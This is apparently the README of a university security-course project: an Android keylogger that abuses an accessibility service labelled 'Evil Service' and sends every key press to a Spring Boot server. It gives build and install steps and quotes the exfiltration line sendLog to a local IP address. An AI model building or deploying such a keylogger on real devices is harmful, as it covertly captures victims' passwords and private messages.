# Android Keylogger

This is a project implemented as Project for the Information Systems Security Course. The main idea is developing a basic key logger for android mobile devices.

## Modules

* keylogapp => Basic Android Java Mobile Application that logs keys

* keylogweb => Spring Boot Web Application that receives logged keys

## How It Works

## Usage

1. Deploy `keylogweb` application

    * NOTE: your andorid phone must have access to the server that web application running via network or internet etc.

    * You can directly start with following command:

        ```bash

        mvn clean package spring-boot:run

        ```

2. Prepare `keylogapp` for deployment

   1. [Go To KeyLogger.java](https://github.com/maemresen/android-keylogger/blob/main/keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/KeyLogger.java) 

   2. Find the following line

        ```

        sendLog("http://192.168.1.37:8080/keylog/save", keyLog);

        ```

    1. Replace `192.168.1.37` with the IP of the machine that you deploy `keylogweb` 

3. Build APK and Install it on your Android Device

4. You should enable `Evil Service` which listens key press and send them to the server

   * after installed the App, you have to open Accessibility settings. (A button named `Evil Service` is added as a shortcut to directly jump accesibility settings.) Then at the bottom of the page, you will see `Evil Service` under Downloaded Services. You should enable Evil Service from there. Then it will works.

5. You can check your browser and you will see that each key-press on your Android phone will be printed to the web-page. \

   **! Hint:** Do not forget to refresh browser manually. Auto-refresh feature not implemented :)
